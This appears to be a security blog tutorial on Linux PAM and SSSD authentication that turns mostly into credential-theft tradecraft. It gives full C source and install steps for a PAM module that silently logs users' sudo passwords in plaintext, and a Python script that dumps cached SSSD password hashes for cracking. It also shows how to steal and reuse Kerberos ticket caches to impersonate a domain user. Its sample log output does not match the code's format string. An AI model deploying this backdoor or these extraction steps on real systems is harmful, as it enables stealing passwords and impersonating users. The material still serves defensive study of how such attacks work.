In this article, we’re looking at the basics of Linux authentication. Two key authentication components are Pluggable Authentication Modules (PAM) and System Security Services Daemon (SSSD).
PAM provides a framework that separates the authentication process from the application logic, letting different services delegate login and credential verification to reusable modules.
SSSD bridges Linux systems with external identity providers, enabling centralised management, offline authentication, and caching of user credentials.
Pluggable Authentication Modules
PAM modules are Linux shared libraries that perform authentication using whatever backend they are designed for. Some modules, such as pam_unix.so, use local password hashes stored in /etc/shadow, while others authenticate against network services or alternative credential stores.
Capturing Login Credentials
We can create a small PAM module to capture credentials used on a system.
The below instructions should work for Ubuntu 24.04 LTS. Other distributions may use different file system paths.
Start by installing the PAM development library, and common build tools.
sudo apt install libpam0g-dev build-essential
The following C code implements a PAM module that logs a usernames and passwords to a file (/tmp/pam_users.log)
#include <security/pam_modules.h>
#include <security/pam_ext.h>
#include <stdio.h>
PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
const char *user = NULL;
const char *password = NULL;
int ret = pam_get_user(pamh, &user, "Username: ");
if (ret != PAM_SUCCESS || !user) return PAM_AUTH_ERR;
ret = pam_get_authtok(pamh, PAM_AUTHTOK, &password, NULL);
if (ret != PAM_SUCCESS || password == NULL)
return PAM_AUTH_ERR;
FILE *f = fopen("/tmp/pam_users.log", "a");
if (f) {
fprintf(f, "Account attempted to login: %s:%s\n", user,password);
fclose(f);
}
return PAM_SUCCESS;
}
PAM_EXTERN int pam_sm_setcred(pam_handle_t *pamh, int flags, int argc, const char **argv) {
return PAM_SUCCESS;
}
Compile with:
gcc -fPIC -shared -o pam_logger.so pam_logger.c -lpam
Copy it to the PAM module location and ensure it’s executable.
sudo cp pam_logger.so /usr/lib/x86_64-linux-gnu/security/pam_logger.so
sudo chmod 644 /usr/lib/x86_64-linux-gnu/security/pam_logger.so
Edit a PAM configuration file (such as sudo), and reference our module. Using the optional keyword will mean the modules success or failure states will be ignored.
cat /etc/pam.d/sudo
#%PAM-1.0
auth optional pam_logger.so
# Set up user limits from /etc/security/limits.conf.
session required pam_limits.so
session required pam_env.so readenv=1 user_readenv=0
session required pam_env.so readenv=1 envfile=/etc/default/locale user_readenv=0
@include common-auth
@include common-account
@include common-session-noninteractive
Every time a user attempts to authenticate using sudo, will result in their credentials being logged to /tmp/pam_users.log
root@ubuntu:/home/user# cat /tmp/pam_users.log
User tried to login: user:Password1
User tried to login: user:Password1
User tried to login: user:Password1
Configuring SSSD
SSSD (System Security Services Daemon) is a Linux service that acts as a central identity and authentication bridge between your Linux and external identity providers like Active Directory.
Let’s start by setting up Active Directory integration. Install the necessary packages.
sudo apt install realmd sssd sssd-tools adcli krb5-user packagekit
Check the realm can be seen.
bordergate@ubuntu:~$ realm discover bordergate.local
bordergate.local
type: kerberos
realm-name: bordergate.local
domain-name: bordergate.local
configured: kerberos-member
server-software: active-directory
client-software: sssd
required-package: sssd-tools
required-package: sssd
required-package: libnss-sss
required-package: libpam-sss
required-package: adcli
required-package: samba-common-bin
login-formats: %U
login-policy: allow-realm-logins
Join the Kerberos authentication realm.
bordergate@ubuntu:~$ sudo realm join bordergate.local
Password for Administrator:
Next, create the file /etc/sssd/sssd.conf to setup Active Directory integration.
[sssd]
services = nss, pam
config_file_version = 2
domains = bordergate.local
[domain/bordergate.local]
default_shell = /bin/bash
krb5_store_password_if_offline = True
cache_credentials = True
krb5_realm = BORDERGATE.LOCAL
realmd_tags = manages-system joined-with-adcli
id_provider = ad
fallback_homedir = /home/%u@%d
ad_domain = bordergate.local
use_fully_qualified_names = False
ldap_id_mapping = True
access_provider = ad
Set the correct file permissions and start the sssd service.
chmod 600 /etc/sssd/sssd.conf
systemctl start sssd
At this point, you should be able to query Active Directory users using the id command, and users in Active Directory will be able to login to the Linux host.
id alice
uid=1551601104(alice) gid=1551600513(domain users) groups=1551600513(domain users)
Extracting SSSD Credentials
SSSD may cache credentials in /var/lib/sss/db.
root@ubuntu:~# ls -la /var/lib/sss/db
total 5356
drwx------ 2 root root 4096 Jun 6 09:23 .
drwxr-xr-x 10 root root 4096 Jun 6 08:34 ..
-rw------- 1 root root 1609728 Jun 6 09:02 cache_bordergate.local.ldb
-rw------- 1 root root 2745 Jun 6 09:23 ccache_BORDERGATE.LOCAL
-rw------- 1 root root 1286144 Jun 6 09:02 config.ldb
-rw------- 1 root root 1286144 Jun 6 08:40 sssd.ldb
-rw------- 1 root root 1286144 Jun 6 09:02 timestamps_bordergate.local.ldb
We can extract the stored passwords using the trivial database password utility. Install with:
sudo apt install tdb-tools
The following Python wrapper script can be used to extract password hashes in a suitable format.
#!/usr/bin/env python3
import subprocess
import sys
from pathlib import Path
import re
location = Path(sys.argv[1]) if len(sys.argv) > 1 else Path("/var/lib/sss/db")
hash_file = Path("hashes.txt")
hash_file.write_text("")
try:
subprocess.run(["tdbdump", "--version"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
analyze = True
except FileNotFoundError:
print("Warning: 'tdbdump' is not installed.")
analyze = False
ldb_files = list(location.glob("*.ldb"))
if not ldb_files:
print(f"No .ldb files found in {location}")
sys.exit(1)
# Regex to match SHA512-crypt hash: $6$salt$hash
hash_regex = re.compile(r'(\$6\$[^$]+\$[A-Za-z0-9./]+)')
for db_path in ldb_files:
print(f"\nProcessing: {db_path}")
if not analyze:
continue
try:
output = subprocess.check_output(["tdbdump", str(db_path)], text=True)
except subprocess.CalledProcessError:
print(f"Failed to read {db_path}")
continue
accounts = set()
for line in output.splitlines():
if "cachedPassword" in line:
parts = line.split("=")
if len(parts) >= 3:
account = parts[2].split(",")[0].strip()
accounts.add(account)
if not accounts:
print("No cached passwords found in this database.")
continue
print(f"### Found {len(accounts)} cached password(s) ###")
for account in sorted(accounts):
hash_value = ""
for line in output.splitlines():
if "cachedPassword" in line and account in line:
match = hash_regex.search(line)
if match:
hash_value = match.group(1)
break
print(f"\nAccount: {account}")
print(f"Hash: {hash_value}")
with hash_file.open("a") as f:
f.write(f"{account}:{hash_value}\n")
print(f"Hashes from {db_path} added to {hash_file}")
print(f"\nAnalysis complete. All hashes saved in {hash_file}")
python3 extract_credentials.py
Processing: /var/lib/sss/db/timestamps_bordergate.local.ldb
No cached passwords found in this database.
Processing: /var/lib/sss/db/cache_bordergate.local.ldb
### Found 1 cached password(s) ###
Account: alice@bordergate.local
Hash: $6$VEWMTIANzMYroklR$Rl21DeujxwB80USWBEXZIcCfjsNn9LvZuovPG2e6gkf./o2ZJBL122MeJqd5bv1mb4rx5LSeHJpdWV.uYOwpv.
Hashes from /var/lib/sss/db/cache_bordergate.local.ldb added to hashes.txt
Processing: /var/lib/sss/db/sssd.ldb
No cached passwords found in this database.
Processing: /var/lib/sss/db/config.ldb
No cached passwords found in this database.
Analysis complete. All hashes saved in hashes.txt
The contents of hashes.txt can then be cracked using john the ripper.
Kerberos Ticket Theft
On Linux, Kerberos tickets are stored in the /tmp directory. Provided you have permissions to access the file, you can copy it to another system to impersonate the users identity.
root@ubuntu:~# klist -c /tmp/krb5cc_1551601104_SABoB4
Ticket cache: FILE:/tmp/krb5cc_1551601104_SABoB4
Default principal: alice@BORDERGATE.LOCAL
Valid starting Expires Service principal
06/06/26 17:02:35 06/07/26 03:02:35 krbtgt/BORDERGATE.LOCAL@BORDERGATE.LOCAL
renew until 06/07/26 17:02:35
Once you have a copy of the ticket, set the KRB5CCNAME environment variable to reference it. Tickets normally expire after 10 hours.
┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=/tmp/krb5cc_1551601104_SABoB4
┌──(kali㉿kali)-[~]
└─$ klist
Ticket cache: FILE:/tmp/krb5cc_1551601104_SABoB4
Default principal: alice@BORDERGATE.LOCAL
Valid starting Expires Service principal
06/06/2026 18:02:35 06/07/2026 04:02:35 krbtgt/BORDERGATE.LOCAL@BORDERGATE.LOCAL
renew until 06/07/2026 18:02:35
In Conclusion
Linux authentication systems such as PAM and SSSD provide flexible ways to integrate local and domain-based identity management, particularly with services like Active Directory. However, this flexibility also introduces significant security considerations.
By design, PAM allows authentication logic to be extended through shared modules, meaning that any compromised or malicious module can intercept credentials at the point of entry. Similarly, SSSD improves usability through credential caching and offline authentication, but this also creates local artefacts such as cached credentials and Kerberos tickets that may be abused if an attacker gains local access.